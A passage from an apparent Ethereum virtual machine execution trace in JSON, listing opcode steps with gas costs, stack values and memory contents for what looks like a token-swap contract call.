f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15130,"op":"JUMPDEST","gas":101301,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15131,"op":"PUSH1","gas":101300,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15133,"op":"DUP3","gas":101297,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15134,"op":"DUP3","gas":101294,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15135,"op":"LT","gas":101291,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1","0x2","0x0","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15136,"op":"ISZERO","gas":101288,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1","0x2","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15137,"op":"PUSH2","gas":101285,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15140,"op":"JUMPI","gas":101282,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1","0x2","0x0","0x1","0x3b2c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15148,"op":"JUMPDEST","gas":101272,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15149,"op":"POP","gas":101271,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15150,"op":"SUB","gas":101269,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15151,"op":"SWAP1","gas":101266,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15152,"op":"JUMP","gas":101263,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x1","0x2089"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8329,"op":"JUMPDEST","gas":101255,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8330,"op":"DUP2","gas":101254,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8331,"op":"LT","gas":101251,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8332,"op":"ISZERO","gas":101248,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8333,"op":"PUSH2","gas":101245,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8336,"op":"JUMPI","gas":101242,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x1","0xe87"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3719,"op":"JUMPDEST","gas":101232,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3720,"op":"POP","gas":101231,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3721,"op":"SWAP3","gas":101229,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3722,"op":"SWAP2","gas":101226,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x100","0x4563918244f40000","0xa0","0xa24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1da